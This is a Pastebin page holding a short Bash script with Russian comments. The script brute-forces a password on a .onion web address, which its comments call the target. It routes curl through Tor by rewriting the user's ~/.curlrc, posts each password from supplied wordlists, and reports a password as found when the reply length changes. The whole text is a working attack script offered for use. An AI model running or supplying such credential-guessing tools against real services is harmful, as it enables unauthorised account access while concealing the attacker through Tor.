Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # SYNOPSIS:
- # ./brutter.sh <DICTIONARY> ...
- ##################################
- URL=http://ninoetevzx2irhgj.onion/lab/ # Наша цель
- WORDLIST=(`cat $@`) # Список паролей (можно задать несколько словарей)
- CURLRC="${HOME}/.curlrc" # Путь к конфигу cURL
- # cURL должна быть настроена на Tor при помощи конфига
- # Запилить настройку через опцию -socks5 почему-то не получилось
- if [ -f "$CURLRC" ]; then
- cp $CURLRC "${CURLRC}.old"
- fi
- echo 'proxy = socks5h://127.0.0.1:9050' >> $CURLRC
- # Перебираем пароли
- for PASSWORD in ${WORDLIST[@]}; do
- # Посылаем POST-запрос через Tor
- REPLY=`curl -# -d "s: ${PASSWORD}" $URL | awk '{print $1}' | wc -c`
- # Длина видимого ответа при ошибке 405 - 93 символа
- # Костыль такой костыль
- if [ "$REPLY" != "93" ]; then
- # Если сервер ответил что-то другое, то мы предполагаем,
- # что пароль найден
- echo $PASSWORD
- exit 0
- fi
- done
- # Восстанавливаем оригинальный .curlrc, если он существовал
- rm $CURLRC
- if [ -f "${CURLRC}.old" ]; then
- mv "${CURLRC}.old" $CURLRC
- fi
Advertisement
Add Comment
Please, Sign In to add comment